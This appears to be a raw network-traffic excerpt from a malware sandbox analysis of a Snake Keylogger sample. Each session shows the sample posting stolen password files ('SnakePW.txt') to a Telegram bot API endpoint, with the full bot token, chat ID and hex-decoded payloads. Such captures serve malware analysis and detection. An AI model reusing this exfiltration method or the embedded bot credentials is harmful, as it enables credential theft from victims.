{"ok":true,"result":{"message_id":67001,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228855,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.5	50134	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:15 UTC	378	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570e1403db Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:15 UTC	378	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 65 31 34 30 33 64 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570e1403dbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:15 UTC	379	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:15 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:15 UTC	379	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67002,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228855,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.5	50135	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:15 UTC	379	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570e4f9f4c Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:15 UTC	380	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 65 34 66 39 66 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570e4f9f4cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:16 UTC	380	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:16 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:16 UTC	381	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67003,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228856,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.5	50136	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:16 UTC	381	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570e8d9c05 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:16 UTC	381	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 65 38 64 39 63 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570e8d9c05Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:16 UTC	382	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:16 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:16 UTC	382	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67004,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228856,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.5	50137	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:16 UTC	383	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570ecb98cc Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:16 UTC	383	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 65 63 62 39 38 63 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570ecb98ccContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:16 UTC	384	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:16 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:16 UTC	384	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67005,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228856,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.5	50138	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:17 UTC	385	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570f0733b7 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:17 UTC	385	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 66 30 37 33 33 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570f0733b7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:17 UTC	385	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:17 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:17 UTC	386	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67006,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228857,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.5	50140	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:17 UTC	386	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570f537ed5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:17 UTC	387	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 66 35 33 37 65 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570f537ed5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:17 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:17 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:17 UTC	387	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67007,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228857,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49791	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:47 UTC	38	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d9e4fdfa Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:47 UTC	39	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 39 65 34 66 64 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d9e4fdfaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:48 UTC	39	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:48 UTC	40	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66770,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228768,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.5	50141	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:17 UTC	388	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570f8a5578 Host: api.telegram.org Content-Length: 504
